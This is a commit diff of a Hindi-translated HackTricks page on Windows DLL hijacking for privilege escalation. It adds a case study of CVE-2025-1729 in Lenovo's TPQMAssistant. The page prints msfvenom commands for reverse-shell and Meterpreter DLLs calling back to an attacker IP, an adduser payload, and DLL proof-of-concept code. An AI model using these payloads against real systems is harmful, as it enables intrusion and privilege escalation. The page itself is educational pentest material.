Translated ['src/windows-hardening/windows-local-privilege-escalation/dl

This commit is contained in:
Translator 2025-07-09 09:14:25 +00:00
parent 145af5ba51
commit 4d600aa7e0

View File

@ -2,17 +2,18 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Basic Information
DLL Hijacking एक विश्वसनीय एप्लिकेशन को एक दुर्भावनापूर्ण DLL लोड करने के लिए हेरफेर करने में शामिल है। यह शब्द कई रणनीतियों को शामिल करता है जैसे **DLL Spoofing, Injection, और Side-Loading**। इसका मुख्य उपयोग कोड निष्पादन, स्थिरता प्राप्त करने, और, कम सामान्यतः, विशेषाधिकार वृद्धि के लिए किया जाता है। यहाँ वृद्धि पर ध्यान केंद्रित होने के बावजूद, हाइजैकिंग की विधि उद्देश्यों के बीच समान रहती है। DLL Hijacking एक विश्वसनीय एप्लिकेशन को एक दुर्भावनापूर्ण DLL लोड करने के लिए हेरफेर करने में शामिल है। यह शब्द कई रणनीतियों को शामिल करता है जैसे **DLL Spoofing, Injection, और Side-Loading**। इसका मुख्य उपयोग कोड निष्पादन, स्थिरता प्राप्त करने, और, कम सामान्यतः, विशेषाधिकार वृद्धि के लिए किया जाता है। यहाँ वृद्धि पर ध्यान केंद्रित करने के बावजूद, हाइजैकिंग की विधि उद्देश्यों के बीच समान रहती है।
### Common Techniques ### Common Techniques
DLL हाइजैकिंग के लिए कई विधियों का उपयोग किया जाता है, प्रत्येक की प्रभावशीलता एप्लिकेशन के DLL लोडिंग रणनीति पर निर्भर करती है: DLL हाइजैकिंग के लिए कई विधियों का उपयोग किया जाता है, प्रत्येक की प्रभावशीलता एप्लिकेशन के DLL लोडिंग रणनीति पर निर्भर करती है:
1. **DLL Replacement**: एक असली DLL को एक दुर्भावनापूर्ण DLL के साथ बदलना, वैकल्पिक रूप से DLL Proxying का उपयोग करके मूल DLL की कार्यक्षमता को बनाए रखना। 1. **DLL Replacement**: एक असली DLL को एक दुर्भावनापूर्ण DLL के साथ बदलना, वैकल्पिक रूप से DLL Proxying का उपयोग करके असली DLL की कार्यक्षमता को बनाए रखना।
2. **DLL Search Order Hijacking**: दुर्भावनापूर्ण DLL को एक खोज पथ में वैध DLL से पहले रखना, एप्लिकेशन के खोज पैटर्न का लाभ उठाना। 2. **DLL Search Order Hijacking**: दुर्भावनापूर्ण DLL को एक खोज पथ में वैध DLL से पहले रखना, एप्लिकेशन के खोज पैटर्न का लाभ उठाना।
3. **Phantom DLL Hijacking**: एक दुर्भावनापूर्ण DLL बनाना जिसे एक एप्लिकेशन लोड करेगा, यह सोचकर कि यह एक गैर-मौजूद आवश्यक DLL है। 3. **Phantom DLL Hijacking**: एक दुर्भावनापूर्ण DLL बनाना जिसे एक एप्लिकेशन लोड करेगा, यह सोचते हुए कि यह एक गैर-मौजूद आवश्यक DLL है।
4. **DLL Redirection**: खोज पैरामीटर जैसे `%PATH%` या `.exe.manifest` / `.exe.local` फ़ाइलों को संशोधित करना ताकि एप्लिकेशन को दुर्भावनापूर्ण DLL की ओर निर्देशित किया जा सके। 4. **DLL Redirection**: खोज पैरामीटर जैसे `%PATH%` या `.exe.manifest` / `.exe.local` फ़ाइलों को संशोधित करना ताकि एप्लिकेशन को दुर्भावनापूर्ण DLL की ओर निर्देशित किया जा सके।
5. **WinSxS DLL Replacement**: WinSxS निर्देशिका में वैध DLL को एक दुर्भावनापूर्ण समकक्ष के साथ प्रतिस्थापित करना, यह विधि अक्सर DLL साइड-लोडिंग से जुड़ी होती है। 5. **WinSxS DLL Replacement**: WinSxS निर्देशिका में वैध DLL को एक दुर्भावनापूर्ण समकक्ष के साथ प्रतिस्थापित करना, यह विधि अक्सर DLL साइड-लोडिंग से जुड़ी होती है।
6. **Relative Path DLL Hijacking**: उपयोगकर्ता-नियंत्रित निर्देशिका में दुर्भावनापूर्ण DLL रखना जिसमें कॉपी की गई एप्लिकेशन होती है, जो Binary Proxy Execution तकनीकों के समान होती है। 6. **Relative Path DLL Hijacking**: उपयोगकर्ता-नियंत्रित निर्देशिका में दुर्भावनापूर्ण DLL रखना जिसमें कॉपी की गई एप्लिकेशन होती है, जो Binary Proxy Execution तकनीकों के समान होती है।
@ -30,17 +31,17 @@ DLL हाइजैकिंग के लिए कई विधियों
![](<../../../images/image (153).png>) ![](<../../../images/image (153).png>)
यदि आप **सामान्य रूप से गायब dlls** की तलाश कर रहे हैं तो आप इसे कुछ **सेकंड** के लिए चलने दें।\ यदि आप **सामान्य रूप से गायब dlls** की तलाश कर रहे हैं तो आप इसे कुछ **सेकंड** के लिए चलने दें।\
यदि आप एक **विशिष्ट निष्पादन योग्य के अंदर एक गायब dll** की तलाश कर रहे हैं तो आपको **"Process Name" "contains" "\<exec name>"** जैसे **दूसरे फ़िल्टर** को सेट करना चाहिए, इसे निष्पादित करें, और घटनाओं को कैप्चर करना बंद करें। यदि आप एक **विशिष्ट निष्पादन योग्य के अंदर गायब dll** की तलाश कर रहे हैं तो आपको **"Process Name" "contains" "\<exec name>"** जैसे **दूसरे फ़िल्टर** को सेट करना चाहिए, इसे निष्पादित करें, और घटनाओं को कैप्चर करना बंद करें।
## Exploiting Missing Dlls ## Exploiting Missing Dlls
विशेषाधिकार बढ़ाने के लिए, हमारे पास सबसे अच्छा मौका है कि हम **एक dll लिख सकें जिसे एक विशेषाधिकार प्राप्त प्रक्रिया लोड करने की कोशिश करेगी** कुछ **स्थान पर जहां इसे खोजा जाएगा**। इसलिए, हम एक **फोल्डर** में **dll लिखने में सक्षम होंगे** जहां **dll पहले खोजा जाता है** उस फोल्डर से पहले जहां **मूल dll** है (अजीब मामला), या हम एक ऐसे फोल्डर में **लिखने में सक्षम होंगे जहां dll खोजा जाएगा** और मूल **dll किसी भी फोल्डर में मौजूद नहीं है** विशेषाधिकार बढ़ाने के लिए, हमारे पास सबसे अच्छा मौका है कि हम **एक dll लिख सकें जिसे एक विशेषाधिकार प्रक्रिया लोड करने की कोशिश करेगी** कुछ **स्थान पर जहां इसे खोजा जाएगा**। इसलिए, हम एक **फोल्डर** में **dll लिखने में सक्षम होंगे** जहां **dll पहले खोजा जाता है** उस फोल्डर से पहले जहां **मूल dll** है (अजीब मामला), या हम किसी फोल्डर में **लिखने में सक्षम होंगे जहां dll खोजा जाएगा** और मूल **dll किसी भी फोल्डर में मौजूद नहीं है**
### Dll Search Order ### Dll Search Order
**Microsoft दस्तावेज़ के अंदर** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **आप देख सकते हैं कि DLLs को विशेष रूप से कैसे लोड किया जाता है।** **Microsoft दस्तावेज़ के अंदर** [**Microsoft documentation**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **आप देख सकते हैं कि DLLs को विशेष रूप से कैसे लोड किया जाता है।**
**Windows एप्लिकेशन** DLLs की खोज एक सेट के अनुसार करते हैं **पूर्व-निर्धारित खोज पथ**, एक विशेष अनुक्रम का पालन करते हुए। DLL हाइजैकिंग की समस्या तब उत्पन्न होती है जब एक हानिकारक DLL इन निर्देशिकाओं में से एक में रणनीतिक रूप से रखा जाता है, यह सुनिश्चित करते हुए कि इसे प्रामाणिक DLL से पहले लोड किया जाए। इसे रोकने के लिए एक समाधान यह है कि एप्लिकेशन उस DLL के लिए संदर्भित करते समय पूर्ण पथ का उपयोग करे जिसकी उसे आवश्यकता है **Windows एप्लिकेशन** DLLs की खोज एक सेट के अनुसार करते हैं **पूर्व-निर्धारित खोज पथ**, एक विशेष अनुक्रम का पालन करते हुए। DLL हाइजैकिंग की समस्या तब उत्पन्न होती है जब एक हानिकारक DLL इन निर्देशिकाओं में से एक में रणनीतिक रूप से रखा जाता है, यह सुनिश्चित करते हुए कि इसे प्रामाणिक DLL से पहले लोड किया जाए। इसे रोकने के लिए एक समाधान यह है कि एप्लिकेशन को आवश्यक DLLs का संदर्भ देते समय पूर्ण पथ का उपयोग करना चाहिए
आप 32-बिट सिस्टम पर **DLL खोज क्रम** नीचे देख सकते हैं: आप 32-बिट सिस्टम पर **DLL खोज क्रम** नीचे देख सकते हैं:
@ -51,28 +52,28 @@ DLL हाइजैकिंग के लिए कई विधियों
5. वर्तमान निर्देशिका। 5. वर्तमान निर्देशिका।
6. PATH पर्यावरण चर में सूचीबद्ध निर्देशिकाएँ। ध्यान दें कि इसमें **App Paths** रजिस्ट्री कुंजी द्वारा निर्दिष्ट प्रति-एप्लिकेशन पथ शामिल नहीं है। DLL खोज पथ की गणना करते समय **App Paths** कुंजी का उपयोग नहीं किया जाता है। 6. PATH पर्यावरण चर में सूचीबद्ध निर्देशिकाएँ। ध्यान दें कि इसमें **App Paths** रजिस्ट्री कुंजी द्वारा निर्दिष्ट प्रति-एप्लिकेशन पथ शामिल नहीं है। DLL खोज पथ की गणना करते समय **App Paths** कुंजी का उपयोग नहीं किया जाता है।
यह **डिफ़ॉल्ट** खोज क्रम है जब **SafeDllSearchMode** सक्षम है। जब इसे अक्षम किया जाता है तो वर्तमान निर्देशिका दूसरे स्थान पर बढ़ जाती है। इस सुविधा को अक्षम करने के लिए, **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** रजिस्ट्री मान बनाएं और इसे 0 पर सेट करें (डिफ़ॉल्ट सक्षम है)। यह **डिफ़ॉल्ट** खोज क्रम है जब **SafeDllSearchMode** सक्षम है। जब इसे अक्षम किया जाता है, तो वर्तमान निर्देशिका दूसरे स्थान पर बढ़ जाती है। इस सुविधा को अक्षम करने के लिए, **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** रजिस्ट्री मान बनाएं और इसे 0 पर सेट करें (डिफ़ॉल्ट सक्षम है)।
यदि [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) फ़ंक्शन को **LOAD_WITH_ALTERED_SEARCH_PATH** के साथ कॉल किया जाता है तो खोज उस निर्देशिका में शुरू होती है जिसमें निष्पादन योग्य मॉड्यूल है जिसे **LoadLibraryEx** लोड कर रहा है। यदि [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) फ़ंक्शन को **LOAD_WITH_ALTERED_SEARCH_PATH** के साथ कॉल किया जाता है, तो खोज उस निर्देशिका में शुरू होती है जिसमें निष्पादन योग्य मॉड्यूल है जिसे **LoadLibraryEx** लोड कर रहा है।
अंत में, ध्यान दें कि **एक dll को केवल नाम के बजाय पूर्ण पथ निर्दिष्ट करते हुए लोड किया जा सकता है**। उस मामले में वह dll **केवल उस पथ में खोजा जाएगा** (यदि dll की कोई निर्भरताएँ हैं, तो उन्हें केवल नाम से लोड किया गया माना जाएगा)। अंत में, ध्यान दें कि **एक dll को केवल नाम के बजाय पूर्ण पथ को इंगित करते हुए लोड किया जा सकता है**। उस मामले में वह dll **केवल उस पथ में खोजा जाएगा** (यदि dll की कोई निर्भरताएँ हैं, तो उन्हें केवल नाम से लोड किया गया माना जाएगा)।
खोज क्रम को बदलने के अन्य तरीके हैं लेकिन मैं उन्हें यहाँ समझाने नहीं जा रहा हूँ। खोज क्रम को बदलने के अन्य तरीके हैं लेकिन मैं उन्हें यहाँ समझाने नहीं जा रहा हूँ।
#### Exceptions on dll search order from Windows docs #### Exceptions on dll search order from Windows docs
Windows दस्तावेज़ में मानक DLL खोज क्रम के लिए कुछ अपवाद नोट किए गए हैं: Windows दस्तावेज़ में मानक DLL खोज क्रम के कुछ अपवाद नोट किए गए हैं:
- जब एक **DLL जिसका नाम पहले से मेमोरी में लोड किए गए एक के साथ साझा होता है** का सामना किया जाता है, तो सिस्टम सामान्य खोज को बायपास करता है। इसके बजाय, यह पहले रीडायरेक्शन और एक मैनिफेस्ट के लिए जांच करता है और फिर मेमोरी में पहले से मौजूद DLL पर लौटता है। **इस परिदृश्य में, सिस्टम DLL के लिए खोज नहीं करता है** - जब एक **DLL जिसका नाम पहले से मेमोरी में लोड किए गए एक DLL के साथ मेल खाता है** का सामना किया जाता है, तो सिस्टम सामान्य खोज को बायपास करता है। इसके बजाय, यह रीडायरेक्शन और एक मैनिफेस्ट के लिए जांच करता है और फिर मेमोरी में पहले से मौजूद DLL पर लौटता है। **इस परिदृश्य में, सिस्टम DLL के लिए खोज नहीं करता है**
- यदि DLL को वर्तमान Windows संस्करण के लिए **ज्ञात DLL** के रूप में पहचाना जाता है, तो सिस्टम ज्ञात DLL के अपने संस्करण का उपयोग करेगा, साथ ही इसक किसी भी निर्भर DLLs का, **खोज प्रक्रिया को छोड़ते हुए**। रजिस्ट्री कुंजी **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** इन ज्ञात DLLs की एक सूची रखती है। - उन मामलों में जहां DLL को वर्तमान Windows संस्करण के लिए **ज्ञात DLL** के रूप में पहचाना जाता है, सिस्टम ज्ञात DLL के अपने संस्करण का उपयोग करेगा, साथ ही इसक किसी भी निर्भर DLLs का, **खोज प्रक्रिया को छोड़ते हुए**। रजिस्ट्री कुंजी **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** इन ज्ञात DLLs की एक सूची रखती है।
- यदि एक **DLL की निर्भरताएँ हैं**, तो इन निर्भर DLLs की खोज इस तरह की जाती है जैसे कि उन्हें केवल उनके **मॉड्यूल नामों** द्वारा निर्दिष्ट किया गया हो, चाहे प्रारंभिक DLL को पूर्ण पथ के माध्यम से पहचाना गया हो या नहीं। - यदि एक **DLL में निर्भरताएँ हैं**, तो इन निर्भर DLLs की खोज इस तरह की जाती है जैसे कि उन्हें केवल उनके **मॉड्यूल नामों** द्वारा इंगित किया गया हो, चाहे प्रारंभिक DLL को पूर्ण पथ के माध्यम से पहचाना गया हो या नहीं।
### Escalating Privileges ### Escalating Privileges
**Requirements**: **Requirements**:
- एक प्रक्रिया की पहचान करें जो **विभिन्न विशेषाधिकारों** (क्षैतिज या पार्श्व आंदोलन) के तहत कार्य करती है या करेगी, जो **एक DLL** की कमी है। - एक प्रक्रिया की पहचान करें जो **विभिन्न विशेषाधिकारों** (क्षैतिज या पार्श्व आंदोलन) के तहत कार्य करती है या करेगी, जो **एक DLL** की कमी है।
- सुनिश्चित करें कि **किसी भी निर्देशिका** के लिए **लिखने की अनुमति** उपलब्ध है जिसमें **DLL** के लिए **खोज की जाएगी**। यह स्थान निष्पादन योग्य का निर्देशिका या सिस्टम पथ के भीतर एक निर्देशिका हो सकता है। - सुनिश्चित करें कि **किसी भी** निर्देशिका में **लिखने की अनुमति** उपलब्ध है जिसमें **DLL** के लिए **खोज की जाएगी**। यह स्थान निष्पादन योग्य का निर्देशिका या सिस्टम पथ के भीतर एक निर्देशिका हो सकता है।
हाँ, आवश्यकताएँ खोजना जटिल हैं क्योंकि **डिफ़ॉल्ट रूप से यह अजीब है कि एक विशेषाधिकार प्राप्त निष्पादन योग्य में एक dll की कमी हो** और यह और भी **अजीब है कि एक सिस्टम पथ फ़ोल्डर पर लिखने की अनुमति हो** (आप डिफ़ॉल्ट रूप से नहीं कर सकते)। लेकिन, गलत कॉन्फ़िगर किए गए वातावरण में यह संभव है।\ हाँ, आवश्यकताएँ खोजना जटिल हैं क्योंकि **डिफ़ॉल्ट रूप से यह अजीब है कि एक विशेषाधिकार प्राप्त निष्पादन योग्य में एक dll की कमी हो** और यह और भी **अजीब है कि एक सिस्टम पथ फ़ोल्डर पर लिखने की अनुमति हो** (आप डिफ़ॉल्ट रूप से नहीं कर सकते)। लेकिन, गलत कॉन्फ़िगर किए गए वातावरण में यह संभव है।\
यदि आप भाग्यशाली हैं और आप आवश्यकताओं को पूरा करते हैं, तो आप [UACME](https://github.com/hfiref0x/UACME) प्रोजेक्ट की जांच कर सकते हैं। भले ही **प्रोजेक्ट का मुख्य लक्ष्य UAC को बायपास करना है**, आप वहां एक **PoC** पा सकते हैं जो Windows संस्करण के लिए DLL हाइजैकिंग के लिए है जिसका आप उपयोग कर सकते हैं (संभवतः केवल उस फ़ोल्डर के पथ को बदलकर जहां आपके पास लिखने की अनुमति है)। यदि आप भाग्यशाली हैं और आप आवश्यकताओं को पूरा करते हैं, तो आप [UACME](https://github.com/hfiref0x/UACME) प्रोजेक्ट की जांच कर सकते हैं। भले ही **प्रोजेक्ट का मुख्य लक्ष्य UAC को बायपास करना है**, आप वहां एक **PoC** पा सकते हैं जो Windows संस्करण के लिए DLL हाइजैकिंग के लिए है जिसका आप उपयोग कर सकते हैं (संभवतः केवल उस फ़ोल्डर के पथ को बदलकर जहां आपके पास लिखने की अनुमति है)।
@ -104,20 +105,20 @@ writable-sys-path-+dll-hijacking-privesc.md
### उदाहरण ### उदाहरण
यदि आप एक exploitable परिदृश्य पाते हैं, तो इसे सफलतापूर्वक शोषण करने के लिए सबसे महत्वपूर्ण चीजों में से एक होगा **एक dll बनाना जो कम से कम सभी कार्यों को निर्यात करता है जिन्हें executable इसमें से आयात करेगा**। किसी भी मामले में, ध्यान दें कि Dll Hijacking उपयोगी है ताकि [Medium Integrity level से High **(UAC को बायपास करते हुए)**](../../authentication-credentials-uac-and-efs/index.html#uac) या [**High Integrity से SYSTEM**](../index.html#from-high-integrity-to-system)** में बढ़ा जा सके।** आप इस dll hijacking अध्ययन में **एक मान्य dll कैसे बनाएं** का उदाहरण पा सकते हैं जो निष्पादन के लिए dll hijacking पर केंद्रित है: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**।**\ यदि आप एक शोषण योग्य परिदृश्य पाते हैं, तो इसे सफलतापूर्वक शोषण करने के लिए सबसे महत्वपूर्ण चीजों में से एक होगा **एक dll बनाना जो कम से कम सभी कार्यों को निर्यात करता है जिन्हें निष्पादन योग्य इससे आयात करेगा**। किसी भी तरह, ध्यान दें कि Dll Hijacking उपयोगी है ताकि [मध्यम अखंडता स्तर से उच्च **(UAC को बायपास करते हुए)**](../../authentication-credentials-uac-and-efs/index.html#uac) या [**उच्च अखंडता से SYSTEM**](../index.html#from-high-integrity-to-system)** में बढ़ाया जा सके।** आप इस dll hijacking अध्ययन में **एक मान्य dll कैसे बनाएं** का उदाहरण पा सकते हैं जो निष्पादन के लिए dll hijacking पर केंद्रित है: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**।**\
इसके अलावा, **अगले अनुभाग** में आप कुछ **बुनियादी dll कोड** पा सकते हैं जो **टेम्पलेट** के रूप में या **निष्क्रिय कार्यों के साथ निर्यात की गई dll बनाने** के लिए उपयोगी हो सकते हैं। इसके अलावा, **अगले अनुभाग** में आप कुछ **बुनियादी dll कोड** पा सकते हैं जो **टेम्पलेट** के रूप में या **निर्यातित गैर आवश्यक कार्यों के साथ dll बनाने** के लिए उपयोगी हो सकते हैं।
## **Dlls बनाना और संकलित करना** ## **Dlls बनाना और संकलित करना**
### **Dll प्रॉक्सीफाइंग** ### **Dll प्रॉक्सीफाइंग**
बुनियादी रूप से एक **Dll प्रॉक्सी** एक Dll है जो **लोड होने पर आपके दुर्भावनापूर्ण कोड को निष्पादित करने में सक्षम है** लेकिन साथ ही **प्रदर्शित** और **काम** करने के लिए **वास्तविक पुस्तकालय** को सभी कॉल को रिले करके **निर्धारित** किया गया है बुनियादी रूप से एक **Dll प्रॉक्सी** एक Dll है जो **लोड होने पर आपके दुर्भावनापूर्ण कोड को निष्पादित करने में सक्षम है** लेकिन साथ ही **प्रदर्शित** और **काम** करने के लिए **वास्तविक पुस्तकालय को सभी कॉल को रिले करके**।
उपकरण [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) या [**Spartacus**](https://github.com/Accenture/Spartacus) के साथ, आप वास्तव में **एक executable निर्दिष्ट कर सकते हैं और उस पुस्तकालय का चयन कर सकते हैं** जिसे आप प्रॉक्सीफाई करना चाहते हैं और **एक प्रॉक्सीफाइड dll उत्पन्न कर सकते हैं** या **Dll निर्दिष्ट कर सकते हैं** और **एक प्रॉक्सीफाइड dll उत्पन्न कर सकते हैं** उपकरण [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) या [**Spartacus**](https://github.com/Accenture/Spartacus) के साथ, आप वास्तव में **एक निष्पादन योग्य फ़ाइल निर्दिष्ट कर सकते हैं और उस पुस्तकालय का चयन कर सकते हैं** जिसे आप प्रॉक्सीफाई करना चाहते हैं और **एक प्रॉक्सीफाइड dll उत्पन्न कर सकते हैं** या **Dll निर्दिष्ट कर सकते हैं** और **एक प्रॉक्सीफाइड dll उत्पन्न कर सकते हैं**
### **Meterpreter** ### **Meterpreter**
**Get rev shell (x64):** **रिव शेल प्राप्त करें (x64):**
```bash ```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
``` ```
@ -129,9 +130,9 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dl
``` ```
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
``` ```
### आपका खुद क ### आपका अपन
ध्यान दें कि कई मामलों में, Dll जिसे आप संकलित करते हैं, उसे **कई फ़ंक्शन निर्यात** करने चाहिए जो पीड़ित प्रक्रिया द्वारा लोड किए जाएंगे, यदि ये फ़ंक्शन मौजूद नहीं हैं तो **बाइनरी उन्हें लोड करने में असमर्थ होगी** और **शोषण विफल हो जाएगा** ध्यान दें कि कई मामलों में, Dll जिसे आप संकलित करते हैं, उसे **कई फ़ंक्शन निर्यात** करने चाहिए जो पीड़ित प्रक्रिया द्वारा लोड किए जाएंगे, यदि ये फ़ंक्शन मौजूद नहीं हैं तो **बाइनरी उन्हें लोड नहीं कर पाएगी** और **शोषण विफल हो जाएगा**
```c ```c
// Tested in Win10 // Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared // i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
@ -212,7 +213,47 @@ break;
return TRUE; return TRUE;
} }
``` ```
## संदर्भ ## केस अध्ययन: CVE-2025-1729 - TPQMAssistant.exe का उपयोग करके विशेषाधिकार वृद्धि
यह मामला **Phantom DLL Hijacking** को दर्शाता है जो Lenovo के TrackPoint Quick Menu (`TPQMAssistant.exe`) में है, जिसे **CVE-2025-1729** के रूप में ट्रैक किया गया है।
### भेद्यता विवरण
- **घटक**: `TPQMAssistant.exe` जो `C:\ProgramData\Lenovo\TPQM\Assistant\` पर स्थित है।
- **निर्धारित कार्य**: `Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask` प्रतिदिन सुबह 9:30 बजे लॉग इन किए गए उपयोगकर्ता के संदर्भ में चलता है।
- **निर्देशिका अनुमतियाँ**: `CREATOR OWNER` द्वारा लिखने योग्य, स्थानीय उपयोगकर्ताओं को मनमाने फ़ाइलें डालने की अनुमति देता है।
- **DLL खोज व्यवहार**: पहले अपने कार्यशील निर्देशिका से `hostfxr.dll` को लोड करने का प्रयास करता है और यदि यह अनुपस्थित है तो "NAME NOT FOUND" लॉग करता है, जो स्थानीय निर्देशिका खोज प्राथमिकता को इंगित करता है।
### शोषण कार्यान्वयन
एक हमलावर एक दुर्भावनापूर्ण `hostfxr.dll` स्टब को उसी निर्देशिका में रख सकता है, अनुपस्थित DLL का लाभ उठाते हुए उपयोगकर्ता के संदर्भ में कोड निष्पादन प्राप्त कर सकता है:
```c
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}
```
### Attack Flow
1. एक मानक उपयोगकर्ता के रूप में, `hostfxr.dll` को `C:\ProgramData\Lenovo\TPQM\Assistant\` में डालें।
2. वर्तमान उपयोगकर्ता के संदर्भ में सुबह 9:30 बजे निर्धारित कार्य चलने की प्रतीक्षा करें।
3. यदि कार्य निष्पादित होने पर एक व्यवस्थापक लॉग इन है, तो दुर्भावनापूर्ण DLL व्यवस्थापक के सत्र में मध्यम अखंडता पर चलता है।
4. मध्यम अखंडता से SYSTEM विशेषाधिकारों तक बढ़ाने के लिए मानक UAC बायपास तकनीकों को श्रृंखला में लगाएं।
### Mitigation
Lenovo ने Microsoft Store के माध्यम से UWP संस्करण **1.12.54.0** जारी किया, जो `C:\Program Files (x86)\Lenovo\TPQM\TPQMAssistant\` के तहत TPQMAssistant स्थापित करता है, कमजोर निर्धारित कार्य को हटा देता है, और पुराने Win32 घटकों को अनइंस्टॉल करता है।
## References
- [CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe](https://trustedsec.com/blog/cve-2025-1729-privilege-escalation-using-tpqmassistant-exe)
- [Microsoft Store - TPQM Assistant UWP](https://apps.microsoft.com/detail/9mz08jf4t3ng)
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e) - [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html) - [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)